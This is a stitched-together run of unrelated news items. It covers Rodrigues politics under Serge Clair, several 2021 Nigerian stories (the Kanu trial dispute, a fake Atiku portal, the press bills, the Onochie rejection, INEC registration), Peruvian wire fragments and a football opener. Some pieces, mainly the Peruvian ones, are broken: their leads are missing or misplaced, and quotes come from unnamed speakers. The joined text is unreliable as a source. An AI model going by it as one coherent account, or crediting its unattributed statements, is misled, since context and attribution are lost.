The PMSD's rule over Rodrigues tended to treat it as little more than a safe vote bank to buttress its position within wider politics in Mauritius, where the PMSD would often play the secession card. "The PMSD and Gaetan Duval used Rodrigues to pressure politics within Mauritius, threatening from time to time to break Rodrigues away from Mauritius into the arms of France to try to dissuade people from voting for the MMM whom they accused of being communists," explains Ram Seegobin of Lalit. Within Rodrigues, however, the PMSD exercised power through a mixture of stirring up resentment against other Mauritian parties and doling out paper jobs as government relief workers. "People in Rodrigues relied a lot on fishing and agriculture, which are not very reliable," says Seegobin - Rodrigues is periodically hit by droughts and cyclones - "and given that the Labour Party was doing this in mainland Mauritius, it should not be surprising that Duval was doing the same thing in Rodrigues too."

In fact, just before the 1982 elections, the Mauritian government went on a hiring spree, giving out 21,000 jobs within mainland Mauritius. All this is to say that what the PMSD was doing in Rodrigues was not that much out of tune with what was going on in Mauritius too. But the PMSD's rule also suffered from a massive contradiction; while the charismatic Gaetan Duval posed as the champion of protection of Rodrigues, the Rodriguan administration was dominated by civil servants from Mauritius and the PMSD's candidates for Rodrigues were also parachuted from Mauritius. Duval, as the strongman of Rodrigues, took the blame. As television, newspapers and the radio began suffusing throughout Rodriguan society, he was also blamed for what Rodriguans noticed were stark differences between life in Rodrigues and on the Mauritian mainland. Radio was what first signalled trouble for the PMSD's hold on Rodrigues. In fact, a popular radio broadcast by former Catholic priest Serge Clair beamed into Rodrigues over the MBC.

Resisting Mauritian domination

"He was against the PMSD and the way it was dominating Rodrigues and using it just as a platform to win votes and seats in the Mauritian parliament," says Jose Arunasalom, former tourism minister and member of the MMM, "the PMSD was just there to get the votes, whereas Serge Clair wanted politics to consider the specificities of Rodrigues." In a way, the PMSD was the author of its own political decline: "The PMSD used propaganda against other Mauritius-based parties, but that turned against them when people started turning away from the PMSD as a Mauritian party too," comments Seegobin, "this was a reaction against the way Rodrigues was treated like a colony by Mauritian politics, and Clair started resisting that."

In a sense, Clair was riding a larger wave. Throughout the 1970s, the PMSD lost ground politically along with the Labour Party. "The PMSD was becoming outdated in Mauritius and people in Rodrigues were following what was happening in Mauritius," says Arunasalom. If the politics of expectations in Mauritius were throwing up a younger generation attracted by the left, the same thing was happening in Rodrigues too. Except that, in Mauritius, it was the MMM riding that wave, whereas in Rodrigues it was what would become Clair's OPR. "Aside from being anti-PMSD, there were other vague similarities between the MMM and the OPR as well, such as empowering the Kreol language or self-sufficiency; but since Clair stressed Rodriguan identity, there was a limit and Clair could never totally identify with the MMM either. Let us put it this way, there were no major ideological differences between Clair and the MMM," argues Seegobin.

The reasons why it was Clair, and not Paul Berenger, who ended up challenging the PMSD in Rodrigues were two-fold. One was the fact that the MMM's wider campaign did not specifically focus on Rodrigues. "It had its own issues, for example, the MMM did a lot of work in EPZs in Mauritius, but there were no EPZs in Rodrigues, the societies were different and the issues were different," comments Jocelyn Chan Low, historian and former academic at the University of Mauritius. The other was that the MMM itself consciously decided not to wade into Rodriguan waters. "Within the MMM there was always this feeling that Rodriguans had to take matters into their own hands," according to Arunasalom. With the MMM challenging the PMSD exclusively within Mauritius, "this opened up space for Clair to challenge the PMSD in Rodrigues, where as a former priest, he was well placed to do that in a society where Catholicism is a major influence and marker of Rodriguan identity," says Chan Low.

In the 1976 elections, Clair formally emerged as a rising star in the politics of Rodrigues. He distinguished himself for being the only native of Rodrigues to challenge the PMSD; this was not the case with the RDM (an offshoot of the Mauritius-based UDM), still less was it for other Mauritian parties. A campaign rally held by Sir Seewoosagur Ramgoolam, Harold Walter and Kher Jagatsingh in Rodrigues was jeered by Clair's supporters. For its part, the PMSD accused the former priest of being a communist and a catspaw for the MMM in Rodrigues. Clair, then 33 years old, officially founded the OPR a mere three months before the 1976 elections. Despite its recent vintage, the OPR ended up winning 34 percent of the vote and cutting down the PMSD to 56 percent. The Labour-CAM alliance could not cross the 10 percent mark, and the MMM didn't contest in Rodrigues. On the island, Clair and his new OPR were the new contenders for power.

Thwarting the PMSD and full-fledged autonomy

The continued dominance of Clair is what is keeping the PMSD from returning to Rodrigues. This has been an old ambition nurtured by the current PMSD leader, Xavier- Luc Duval. The 2000 election was the first time, after a long while, that the party (at least its offshoot the PMXD at the time) fielded a candidate in Rodrigues again. Its candidates got just 277 and 172 votes, respectively. It was only in 2019 that the PMSD returned as a serious contender for power in the island. Thanks to Clair's political legacy, "the general feeling is that Rodriguan autonomy is the way forward. I personally think it is close to impossible for a Mauritian party to expect that it can just go to Rodrigues and take over again," insists Arunasalom.

In fact, Clair is the main reason why such ambitions have borne no fruit thus far. "It's difficult for the PMSD to go into Rodrigues, unless there is some kind of social or economic crisis; that being said, once the OPR no longer has Clair to lead it, we are in unknown territory and anything is possible," says Seegobin. This is the weak point in the OPR political machine: "If there is a criticism, it is that Serge Clair has not done enough to groom somebody else to take over and there is no clear succession plan for the OPR," Arunasalom points out. Which is why Clair's health problems are causing such wheeling and dealing in Rodrigues today.

However, there is a bigger problem for other parties looking to replace Clair too. And that has to do with the way Clair's historic dominance in Rodrigues has shaped relations between the politics of Rodrigues and Mauritius. "Rodrigues is economically dependent on Mauritius for buying its exports, is economically subsidised by Mauritius and is dependent for infrastructure and financing its administration," says Chan Low. By extricating Rodrigues out of political competition within the Mauritian mainland, Clair's steady dominance in Rodrigues has led to a legacy of the regional administration enjoying good relations and forming part of every Mauritian government, regardless of who is in power in Port Louis. "They have benefitted from this and now they know that it is better to be part of Mauritian government rather than backing mainland parties that might end up outside of power, with Rodrigues ending up getting punished for it," concludes Seegobin, "Serge Clair, more than anyone else, has developed this relationship with Port Louis." According to Chan Low, "they know that if an opposition party from Mauritius comes there and wins power, this arrangement could change."

This balancing act between Rodrigues maintaining good relations with all Mauritian governments to ensure continued economic support, while at the same running their own affairs in Rodrigues, has not just made it more difficult for Mauritian parties like the PMSD to enter politics there, but it has also ensured the side-lining of more radical parties there pushing for complete independence from Mauritius. This is why, with Serge Clair's health problems, all eyes are fixed on Rodrigues.

The remaking of Rodriguan identity

Throughout the 1970s, Clair and his OPR began developing their ideas in earnest and filling the void left by the PMSD. Among these ideas, was resisting the idea of the tutelage and domination by Mauritian parties and the development of Rodrigues and a Rodriguan identity distinct from Mauritius. In his newspaper, Clair often published notes in the history of Rodrigues, corruption within the local administration and unfulfilled promises made by Mauritius-based politicians. Unlike Duval, however, Clair's politics stopped short of calling for outright independence. Just how deeply these ideas were seeping through Rodriguan society could be seen in a curious episode in 1979 when a Rodriguan man claimed to converse with saints with crosses appearing all over his body. While the Mauritian doctor treating him could not explain what was going on, locals flocked to the local celebrity. The crosses, the man claimed, were signs pointing to a devastating cyclone that would hit Rodrigues, should it not get rid of Mauritian domination.

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All this was pointing to an end to PMSD rule and the rise of Clair's OPR to power in the 1982 elections. The total wipe-out of the Labour-PMSD in mainland Mauritius was mirrored in Rodrigues as well. While it is rare for leaders of political parties to directly compete in the same constituency, in 1982, both Clair and Gaetan Duval faced off directly in Rodrigues. Clair won 8,029 votes while Duval trailed with just 4,621 votes. The MMM had won Mauritius and the OPR now dominated Rodrigues. Clair was inducted in the Mauritian government as minister for Rodrigues, the first time a Rodriguan had made it to a Mauritian cabinet. "From 1982 onwards there has been an implicit understanding that Rodrigues would be now represented by Rodriguans," says Seegobin. Clair had rewritten the politics of his island.

Clair's OPR continued to dominate politics in Rodrigues and completely reshaped it. In 1983, while the MMM fell apart in Mauritius, the OPR's hold on Rodrigues remained unaffected. By 1987, elections in Rodrigues were being exclusively contested by Rodriguan parties, with Mauritius-based parties no longer there. In fact, the next time a Mauritian party candidate looked to contest the election there was in 1991 - the Labour-PMSD candidate got just 119 votes. It was only in 1995 that another serious challenger emerged against Clair's OPR, the MR led by Nicolas Von Mally. So complete was Clair's rewriting of Rodriguan politics, argues Chan Low, "that even younger parties like the MR that emerged to challenge Clair adopted his language and his politics focused on a Rodriguan identity".

Clair's legacy ultimately culminated in autonomy for Rodrigues and the founding of the Rodrigues Regional Assembly in 2002, patterned on the arrangement between the islands of Trinidad and Tobago. Not surprisingly, the government that passed it was made up of the MMM-MSM, both close to Clair and sympathetic to the idea of allowing Rodrigues greater decision-making powers. "This autonomy is now embedded in the Mauritian constitution and would need a 3/4ths majority to overturn, something that would not be politically good for anyone to contemplate," Arunasalom points out. "One would expect," Seegobin states, "that being in power for so long, a party would get tired or used up, but this achievement of autonomy, and the credit for getting it, is what has kept Clair and the OPR ahead in politics in Rodrigues."

In fact, since 1982, Clair and the OPR have dominated Rodriguan politics, except for a brief spell in 2010 when the OPR lost power to the MR led by Von Mally. One of the reasons for this was the electoral reform in Rodrigues that introduced a dose of proportional representation, allowing opposition parties to boost their representation in the regional assembly. A fact that Clair and the OPR have since bemoaned. Nevertheless in 2014, the OPR resumed its rule that has continued since.
Umuahia  The Chidi Ibeh faction of the pan Igbo socio-cultural organization, Ohanaeze Ndigbo Worldwide, has condemned the legal monitoring team set up by Prof. George Obiozor led group to monitor the trial of the leader of the Indigenous People of Biafra, IPOB, Mazi Nnamdi Kanu; describing it as illegal and contrary to the Constitution of the body which stipulated that such decisions must pass through the Imobi and General Assembly.

The Prof. Obiozor faction of Ohanaeze Ndigbo had set up a legal team to monitor the proceedings of Kanu's trial.

In a statement signed by the Secretary-General of the Chidi Ibeh faction, Mazi Okechukwu Isiguzoro, Ohanaeze Ndigbo Worldwide, accused the Professor Obiozor group of working with the agents of the federal government to infiltrate Nnamdi Kanu's legal team to achieve selfish ends.

It warned the Obiozor faction to respect Kanu's fundamental human rights and allow his legal team to work independently without a monitoring team which may be used to mar his trial.

"Ndigbo are amazed at how some desperate and shameless Igbo Elders could descend so low that, they are being used as political jobbers and shenanigans against Nnamdi Kanu without constitutional approval of Imeobi and General Assembly of Ohanaeze Ndigbo.

"Ohanaeze Constitution did not permit anyone to set up any legal team without the authorization of Imeobi members and the approval of the General Assembly as stipulated in articles 20 and 21.

"The Imeobi and General Assembly are the highest decision making organs of Ohanaeze Ndigbo. The last meeting of the Imeobi was on 31st December 2020 General Assembly meetings had never met since 4 years ago.

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"We are pressurized by Imeobi members and well-meaning Igbo leaders to disassociate Ohanaeze Ndigbo from any legal team, as it is " illegal, unconstitutional, null and void.

The office of the Attorney General of the Federation and Minister for Justice should know that based on the Ohanaeze Ndigbo Constitution, it's the fundamental liberty of Nnamdi Kanu to choose his legal team, as any attempt to drag Igbo leadership to give it an ethnic back up to justify a premeditated penalty for Nnamdi Kanu would be dead on arrival.

"This is one of the evidence on our earlier warnings about the hastily but crafty package of moles to infiltrate the legal team of Nnamdi Kanu for sinister motives, as its obvious that there is synergy between the presidency and some anti-Igbo group to ensure that Nnamdi Kanu gets an unfair trial and heavy penalty," the statement read.

It further called on the Attorney General and Minister for Justice, Mr Abubakar Malami, to stop the illegal set up of the legal monitoring team for Kanu's trial and warned that the IPOB leader must be given a fair trial.

Vanguard News Nigeria
Former Nigerian Vice President, Alhaji Atiku Abubakar, has distanced himself from what he described as a fake online portal, the 'Atiku Foundation Youth Empowerment Fund'.

A statement issued by his media aide, Paul Ibe, said the portal was set up by some unscrupulous element with identity of the presidential candidate of the PDP in the last general election forged.

Ibe said: "The portal was supposedly set up without his consent with the intention to defraud.

"The objective of the criminals behind this scam is to defraud unsuspecting members of the public by advertising the identity of Atiku Abubakar as being associated with the fraud.

"We warn supporters of Atiku and the public not to patronise any portal called 'Atiku Foundation for Youth Empowerment'. The portal is fake and certainly does not enjoy the authorisation of Atiku. Indeed this scam was first introduced in 2019 by criminal elements.

"We also warn the public and supporters of the Waziri of Adamawa not to patronise any scheme in his name, which is not expressly advertised on the verified social media accounts of the former vice-president.

"We call on the law enforcement agencies to track and arrest the individuals behind this online crime and identity forgery, and bring them to face the law."

THISDAY learnt that the online portal with Atiku's picture in suit claims to be empowering those who submit their names with N10,000 each. As at 12.37 p.m. yesterday, the portal claims to have empowered more than 150,000.
Abuja  Nigerian newspapers are protesting legislation being considered in Parliament that would allow authorities to control the press. All Nigeria's national dailies on Monday had "Information Blackout" boldly printed on their front pages to raise support against the proposal.

The agreement to stage a front-page protest was reached last week during a meeting of the Nigerian Press Organization, NPO, in Lagos.

The solidarity will continue Tuesday and Wednesday with the aim of raising awareness and mobilizing public support against the bills, which would give greater powers to two regulatory bodies -- the Nigerian Press Council and the Nigerian Broadcasting Commission.

Lawmakers said the bills are intended to curb fake news. But critics said the bills would give authorities the power to hit media outlets and journalists with huge fines and give journalists up to three years in jail.

Activist supports protest

Nigerian activist and freelance writer Raphael Adebayo welcomes the dailies' protest and said the media bill is an attack on free speech.

"It is a laudable step," Adebayo said. "The media guilds in the country have realized the saliency of solidary against the common enemy that faces press freedom in Nigeria today."

The Nigerian lawmaker who initiated the bills, Olusegun Odebunmi, said the changes are not an attempt to gag the media.

Debates on the bill began amid the government's move to tighten regulations on social media.

Last month, the government suspended Twitter in Nigeria for censoring a comment by President Muhammadu Buhari. Authorities are yet to reverse this ban.

Authorities also said falsehoods promoted on such platforms could trigger violence.

Concerns are valid

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The director of news at Voice of Nigeria, Ahaziah Abubakar, said the government's concerns are valid.

But Adebayo said the government is simply trying to stifle opinions that are contrary to theirs.

"There's already in existence a reviewed NBC code which continues to make life harder for people who are working with the press," Adebayo said. "Yet they want to make it even harder for them to express themselves, to express the opinion of the people and to express generally the state of things in the country."

Media sanctions have become more frequently discussed since Buhari was first elected in 2015.

Between 2017 and 2019, lawmakers considered a bill to regulate social media, and another bill proposing the death penalty for anyone promoting hate speech about the government. Both bills were suspended after public outcries.
The federal government has earmarked N4.8 billion for the National Intelligence Agency (NIA) to monitor WhatsApp, an encrypted messaging application, and Thuraya, a satellite telephone.

The provision seen by an online newspaper, TheCable, is contained in the supplementary 2021 budget passed by the National Assembly.

This is coming as the Senate Minority Leader, Senator Enyinnaya Abaribe, has advised the 36 state Houses of Assembly not to cow minority leaders in their midst.

The National Assembly had approved the sum of N982 billion as the supplementary budget for 2021. While N123 billion was approved for recurrent expenditure, N895 billion was earmarked for capital expenditure.

The budget is meant to boost military operations and to facilitate the procurement of COVID-19 vaccine.

The line items of the budget showed that police "commands and formation" got N33.6 billion for some projects, including the fumigation of 19 training institutes at N200 million.

While N936 million was earmarked for the police to buy uniform and kits, N910 million was voted for allowances and salaries of trainees.

Under the Ministry of Defence, N1.6 billion was set aside for an "additional 2,700 troops." The army also got N675 million for operation allowance for the troops.

The Nigeria Air Force got N239 billion, of which N266 million was budgeted for small arms and ammunition, N1.5 billion for upgrade of barracks "through direct labour" and N84 billion for the payment of "defence equipment."

The Department of State Services (DSS) got N17.5 billion for the purchase of vehicles, arms and upgrading of its six training institutes nationwide, among other line items.

Under health, the National Agency for the Control of AIDS (NACA) got N1.6 billion for a "treatment programme."

While N20.6 billion was voted for the "delivery" of vaccines to every ward/primary health centre, N60.7 billion was earmarked for the purchase of COVID vaccines.

The sum of N6.7 billion was earmarked for the procurement and installation of oxygen plants nationwide.

Meanwhile, Abaribe has cautioned the 36 state Houses of Assembly against suppressing and intimidating opposition voices.

Abaribe, in a statement yesterday, expressed concern at recent happenings in some state legislatures in the country, where minority leaders and opposition party members are hounded as perceived enemies in the performance of their statutory functions to oversight the executive.

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Most worrisome, according to Abaribe, was the recent incident in Imo State House of Assembly, where the Minority Leader, Hon. Anyadike Nwosu, and some other members were suspended without following due process.

He added that the beauty of democracy is in the checks and balances, accommodation of all shades of opinion and allowing free canvassing of viewpoints in the constitution.

He said: "Democracy does not stop at the national level. It must permeate all levels of government, that is, wards, local governments, state and other democratic institutions. In all of these, everybody must enjoy the freedom of expression and association as guaranteed by our constitution.

"So, it is undemocratic and smirks of dictatorship, any attempt by anybody, particularly a parliament for that matter to abhor minority functions and stifle opposition voices, just because you want to pander to executive whims. It is reprehensible to even contemplate suspension of a minority leader because he questions the executive on things that seems to be antithetical to democratic norms".

Abaribe advised the state legislatures to always see every party represented on the floor as partners in progress, whose viewpoints are all geared towards achieving good governance.

"Without dissenting opinions, democracy loses its kernel. The essence of liberal democracy is the accommodation of different viewpoints, which is warehoused in the interplay of the executive, legislature and judiciary independently in the political system," Abaribe added.
Police said a patrol team "stumbled on the three kidnapped victims roaming the bush extremely exhausted and weak."

The police in Kaduna on Tuesday said they have rescued three kidnapped victims, including one of the students of Bethel Baptist Secondary School in Kujama, Chikun Local Government Area of the state.

The police spokesperson in Kaduna, Muhammad Jalige, disclosed the development in a press statement to reporters.

"The Kaduna Police Command's mission to rescue all kidnap victims through intelligence-led Policing and rigorous patrol had yesterday yielded a positive result with the rescue of three victims to safety.

"On the 12th July, 2021 at about 1540hrs the Operatives of the Command alongside Civilian JTF on routine rescue patrol around the forest of Tsohon Gaya village of Chikun LGA of Kaduna State stumbled on three kidnapped victims roaming the bush extremely exhausted and weak.

"The victims were safely evacuated and rushed to Police Clinic Kaduna where they are currently being resuscitated and will subsequently be handed over to their immediate families.

"During the course of investigation, the three (3) victims were identified as Zaharaddeen Ibrahim, Nura Nuhu that were kidnapped recently along Kaduna - Kachia Road

"Abraham Aniya is one of the students of Bethel Baptist Secondary School, Kujama that were kidnapped the previous week.

"Thus, the Command is currently relentless in ensuring that more victims are rescued within the shortest possible time," the police spokesperson said.

Bandits invaded Bethel Baptist Secondary School on July 5 and kidnapped many students.

Abduction in Kaduna schools and other areas has continued unabated despite the presence of security formations in the state.
The Senate rejected Ms Onochie's nomination as INEC national commissioner on Tuesday.

The Peoples Democratic Party (PDP) has commended the Senate for rejecting the nomination of Lauretta Onochie as a national commissioner of the Independent National Electoral Commission (INEC).

The party, in a statement, on Tuesday, described the rejection as a victory for Nigerians.

Ms Onochie, personal assistant to President Muhammadu Buhari, was on Tuesday rejected by the Senate, which said the appointment violated the federal character principle.

Mr Buhari nominated her in October 2020.

In a statement by its spokesperson, Kola Ologbondiyan, the opposition party described the rejection "as the triumph of the Nigerian people over the barefaced attempt by the Buhari led-APC administration to corrupt and hijack the commission ahead of 2023 elections."

The party, which had led a protest to the National Assembly over the nomination, said the action of the Senate had not only saved the nation from a very serious crisis but also salvaged INEC and the entire Nigerian electoral process from a ruinous pollution that would have led to the collapse of the country's democratic order.

Read the full statement:

INEC: Onochie's Rejection At Senate Is Victory For Nigerians, Democracy - PDP

The Peoples Democratic Party (PDP) describes the Senate's rejection of President Muhammadu Buhari's nomination of his aide and All Progressives Congress (APC) chieftain, Lauretta Onochie, as a national commissioner in the Independent National Electoral Commission (INEC), as the triumph of the Nigerian people over the barefaced attempt by the Buhari led-APCadministration to corrupt and hijack the commission ahead of 2023 elections.

The PDP asserts that the rejection of Lauretta Onochie by Nigerians has saved the nation from a very serious crisis as well as salvaged INEC andthe entire Nigerian electoral process from a ruinous pollution that would have led to the collapse of our democratic order.

The party asserts that Onochie's vexatious nomination, in total affront to paragraph 14 of the 3rd schedule of the 1999 Constitution (as amended), was a very dangerous machination by the Buhari-led APC Presidency against our electoral process, in the attempt to subvert the will of the people in the 2023 elections.

The APC, in spite of its shenanigans, is aware that it will have difficulties winning election at any level in a free, fair and credible election and as such it is determined to rig every process ahead of the 2023 elections.

Our party, therefore, commends Nigerians including civil society organizations, the media as well as other political parties, for joining forces with the PDP in fighting for the sanctity of our electoral process by resisting Onochie's nomination.

The stiff resistance displayed by Nigerians across board, in repelling this vicious attempt to hijack and pollute the electoral commission, underscores their collective and unwavering determination to resist and kick out the APC in 2023, despite its shenanigans.

The PDP urges Nigerians not to rest on their oars but to continue in this spirit in fighting for our democracy, particularly in further resisting the attempt to alter the Electoral Act to prohibit direct electronic transmission of election results from polling units.

It is clear that the APC is pushing for the prohibition of electronic transmission of results because it seeks to use its usual malpractices alteration of figures, switching of results as well as disappearance of ballot materials while on transit to collation centers to, again, subvert the will of the people and manipulate its hold on power in 2023.

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Our party, standing shoulder to shoulder with the Nigerian people, will use every means available and permissible under our laws to ensure that such a provision that seeks to institutionalize and endorse rigging is not allowed to pass.

The PDP therefore counsels the APC to read the handwriting on the wall and know that Nigerians are ready and waiting to resist them at any turn ahead of the 2023 election.

Signed:

Kola Ologbondiyan

National Publicity Secretary
"Gone are the days when people will come to us to report gender-based matters and we chase them back home by saying they are family affairs."

The Lagos State Government on Tuesday commenced a three-day training for 20 police officers on how to respond to Sexual and Gender-Based Violence (SGBV) in the state.

The training is being coordinated by the Lagos State Domestic and Sexual Violence Response Team (DSVRT), in partnership with the Lagos State Police Command and the Ford Foundation.

The News Agency of Nigeria (NAN) reports that the 20 police officers were drawn from the five police divisions' newly upgraded to Family Support Units (FSUs).

The police divisions are Okokomaiko, Owutu, Bariga, Epe and Ajegunle.

In her remarks, the DSVRT Coordinator, Titilola Vivour-Adeniyi, said the FSUs would serve as specialised police stations designated to investigate and prosecute SGBV cases.

"This journey has been six-years in the making and we are very elated that we have upgraded some police divisions to SFUs," Mrs Vivour-Adeniyi said.

Also, the Director, Office of the Public Defender (OPD), Babajide Martins, said law enforcement officers had a responsibility to give back to society and protect the vulnerable, especially women and children.

Mr Martins, a facilitator at the training, charged the participants to be upright and uphold the law while investigating cases of sexual and gender-based violence.

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"When officers become mischievous by not revealing vital information uncovered during their investigations, it makes the work of the prosecutors difficult in court.

"There is nothing concerning gender-based violence that is not under the law. You have to know the law.

"If during investigation you are confused about what the law says, you can contact the OPD or the DSVRT for clarity," Mr Martins said.

Also speaking, Bimbo Williams, the Second in Command, Gender Desk, Lagos State Police Command, noted that the state had zero tolerance for SGBV.

Ms Williams, an assistant superintendent of police, also stressed the importance of police officers knowing how to handle SGBV cases and charged them to take the training seriously.

"I hope we will all learn a lot from this training and implement such to reduce the rate of this crime in Lagos State.

"I know with this training, when you get back to your various divisions, you will impart the knowledge to others who do not have the knowledge on how to handle these cases.

"Gone are the days when people will come to us to report gender-based matters and we chase them back home by saying they are family affairs," Ms Williams said.

Topics to be handled during the training include SGBV and Human Rights, Consideration of the Relevant Laws, Guiding Principle of SGBV, Handling of SGBV Cases, and Exploring Existing State Structure and Services for Sexual Assault Survivors.

Others are: Improving the Practice of Reporting at Police Stations, Role of Forensic Evidence on SGBV Investigation, Mediation, Best Practices for Investigating SGBV Cases and Police as a Service Delivery Agency.
The Continuous Voters Registration resumed on 28 June.

The Independent National Electoral Commission (INEC) says a total of 542,576 Nigerians have completed their online registration in the ongoing Continuous Voter Registration (CVR).

Out of this figure, 456,909 are fresh applicants while 85,667 applied for voter transfer, replacement of Permanent Voter Cards (PVCs), and update of voter information record.

INEC Chairman, Mahmood Yakubu, disclosed this in Abuja on Tuesday during a meeting with the Resident Electoral Commissions (REC) of the 37 states and the Federal Capital Territory (FCT).

The Continuous Voters Registration (CVR) resumed on 28 June.

On the distribution of registrants across the country, Mr Yakubu said out of 542,576 online registrants so far, 356,777 (or 66%) are young people between the ages of 18 and 34 years.

This, according to him, is followed by 134,719 middle aged registrants who fall between 35 and 49 years while the third category is elderly persons aged between 50 and 69 years of which 44,896 Nigerians have registered.

He said some 6,184 senior citizens (aged 70 years and above) have interestingly taken advantage of the new online opportunity to register.

On occupational distribution of registrants, Mr Yakubu said 156,446 are students; 38,217 artisans; 24,421 farmers and fishermen; 150,145 businessmen and traders; 35,831 employed as civil and public servants and 8,334 housewives.

He said the remaining 129,182 registrants did not specify their occupations.

On gender, the INEC chairman said 321,781 are male while 220,795 are female.

He said, "In our effort to serve all Nigerians better, the Commission has requested registrants to indicate their disability (if any).

"This will enable us to optimally and efficiently deploy assistive voting devices such as Braille ballot guide and magnifying glasses for persons with special needs at polling units on election day.

"So far, we have data for 6,558 registrants who have clearly indicated their type of disability."

Mr Yakubu said detailed information, including state and occupational distribution, had been uploaded on the Commission's website and social media platforms, adding "we shall also continue to provide the weekly updates throughout the duration of the CVR exercise."

The INEC chairman said the Commission was aware that not all Nigerians have access to computers, smart phones or internet connectivity to register online.

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He said, "Accordingly, we have repeatedly assured every eligible registrant that there will also be an opportunity for physical or in-person registration at designated centres.

"Even the online registrants will have to complete their registration physically at those centres. Our aim is to activate some 2,673 centres to which we intend to deploy 5,346 officials for in-person registration.

"However, after consultation with stakeholders, the Commission is proceeding systematically as we review the security situation across the country.

"We agreed with stakeholders, including the security agencies, to start from our State and Local Government offices. This means an initial 811 locations nationwide made up of 37 State and FCT offices and 774 Local Government Areas. We have configured enough machines and commenced deployment nationwide for further training of officials in readiness for the commencement of the physical registration."
...The target of the NVAP programme is to help countries identify, assess and track new variants of the novel coronavirus.

The UK government has announced that Nigeria will be one of the first countries that will receive genomic sequencing support through the New Variant Assessment Platform (NVAP) Programme launched earlier this year by Public Health England.

In a statement on Monday, Public Health England said other countries to benefit from the first phase of NVAP include Brazil, Ethiopia, Kenya and Pakistan. The support for each country includes reagents and equipment to increase in-country sequencing, technical advice, bioinformatics support, and training.

According to U.K authorities, the target of the NVAP programme is to help countries identify, assess and track new variants of the novel coronavirus.

"The New Variant Assessment Platform (NVAP) Programme will provide support to countries such as Nigeria to accelerate the development of in-country capacity to effectively identify, assess and track new SARS-CoV-2 variants," the statement said.

The Nigerian government on July 8 announced the first case of the dangerous Delta variant and since then there has been a marginal increase in the country's infection tally.

The Delta variant has been described by the World Health Organisation (WHO) as the 'most transmissible variant.'

According to the global body, the variant is responsible for the spike in about 104 countries across the world where it has been reported.

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Also known as B.1.617.2, the Delta variant has been linked to 90 per cent of the rise in Covid cases in the U.K.

According to the statement, Sam Agbo, a senior health adviser, British High Commission Abuja, said: "This is a great development for Nigeria. This partnership will help expand Nigeria's capacity and capability to identify and sequence variants, improve national preparedness planning, and increase active surveillance for emerging and re-emerging diseases. It will also enable Nigeria to become a genomic sequencing hub for West and Central African countries and provide regional technical support in the region."

Britain is considered to be a world leader in genome sequencing. About a third of all Covid-19 sequences submitted to an international database come from the U.K.

British health officials said robust genomic surveillance was vital to identifying new variants of the novel coronavirus and then counter them.

"This initiative will support the effort of the African Pathogen Genomics Institute, which is already playing a leading role in supporting Member States to generate sequencing and identifying and tracking variants of concern. It will also further strengthen the Africa Pathogen Genomics Surveillance Network. We welcome this initiative", said John Nkengasong, Director, Africa Centres for Disease Control and Prevention.
11:30 | Lima, Jul. 14.









Within this framework, the candidate said that "we must be tolerant; let's not fall into provocations."





"Each one of us has become a brick in this democratic building," he expressed.





















After his speech, the presidential candidate left the area and got into a vehicle to go to the party premises on Paseo Colon, where he will meet with Arequipa region mayors and elected Peru Libre lawmakers.




He referred to the food that is naturally fertilized with guano from the islands such as coffee, cacao, bananas, grapes, and avocados as this provides a distinctive characteristic compared to other products using agrochemical fertilizers.





"There is a growing demand from small-scale agricultural producers for guano from the islands to use it as a natural fertilizer, since this provides added value to the food they sell, helping them gain better prices and a better quality of life," he explained.





According to the government official, Peru should take advantage of the fact that international markets currently prefer organic nutrients. Therefore, small-scale Peruvian producers can offer the food they grow with natural fertilizers.





"Peru due to special characteristics of its highlands, jungle, and coast can produce various organic crops, thanks to its biodiversity and different altitudes," he explained.





The guano from the islands provides soils with fertilizers of the different macro and micro elements that crops require as food to achieve higher yield levels and maintain the required quality.





"According to the Ministry of Agrarian Development and Irrigation (Midagri) , one of the biggest challenges now is to meet the great demand for 'guano from the islands' from small-scale producers dedicated to family farming and agro-exporters who diversify their markets," the deputy minister explained.





Remarks were made during a ceremony marking the delivery of the Guanay tugboat to the Rural Agrarian Productive Development Program (Agro Rural) by the Navy Industrial Services (SIMA), which was in charge of its refurbishment.





(END) NDP/VLA/RMB/MVB
Viceministro Rosell: La informacion contra la vacuna Sinopharm esta causando dano. Si hay una campana en contra vamos a perjudicar la vacunacion que se viene desarrollando en el pais. pic.twitter.com/OfO6xnP1KZ
.

18:01 | Callao (Callao region), Jul. 13.









Thus, the main port of entry for visitors to Peru has been recognized as a destination that complies with all the safety measures for COVID-19, in order to protect tourists and tourism service providers operating in this important area of the country.













The ceremony was attended by local authorities and business people in the tourism sector.





"With great enthusiasm, we grant this important recognition to Callao region, which will contribute to the responsible and safe restart of tourism, as the conditions for its reactivation are generated and promoted," Carbajal stated.





"Callao is the first image (of the country) that visitors see and, as such, we must ensure their safety and that of all of us," she added.





Joint efforts





Mincetur noted that the receipt of this stamp is the result of collaborative efforts made by public and private agents in the region to promote the resumption of tourist activities.





To obtain the Safe Travels Stamp, Callao' regional authorities had to submit a formal evaluation request to Mincetur.





Afterwards, virtual and field working meetings were held and sectoral health protocols were implemented through surveillance plans or COVID-19 prevention documents.





In addition, tourism service providers had to undergo audits, as well as checks of cleaning, disinfection, and waste management, to verify that they comply with the protocols established by the Government.





As part of the commitment to receive the Safe Travels Stamp, authorities and the population must ensure compliance with the aforementioned protocols. Besides, at the Executive-Branch level, there will be constant monitoring of safety and hygiene actions in the region.





Below are the tourist circuits that have been classified as safe for tourists at times of COVID-19:





- Real Felipe Fortress





- Grau Plaza





- Galvez Plaza





- Monumental Callao area





- Matriz Church





- Abtao Naval Submarine Museum





- Palomino Island

- San Lorenzo Island

- Neighborhood of Chucuito

- La Punta's Main Square





- Wiesse Pier





- Santa Rosa (Saint Rose) Plaza

Gastronomic route





It features eight representative restaurants from Callao region.





(END) NDP/LIT/RMB/MVB

Peru's Ministry of Foreign Trade and Tourism (Mincetur) has handed over the Safe Travels Stamp bestowed by the World Travel & Tourism Council (WTTC)  to Callao Destination, which includes the districts of Callao and La Punta.Published: 7/13/2021
When Liverpool allowed Georginio Wijnaldum to wind down his Liverpool contract, it was a strange situation. All Liverpool fans wish him well, but it hasnt quite sunk in that hes no longer a red. As a nearly always available midfielder, he was certainly taken for granted, though definitely not under appreciated. With this Gini-sized hole in the squad, there is a collective apprehension surrounding this transfer window, until an adequate replacement is signed.

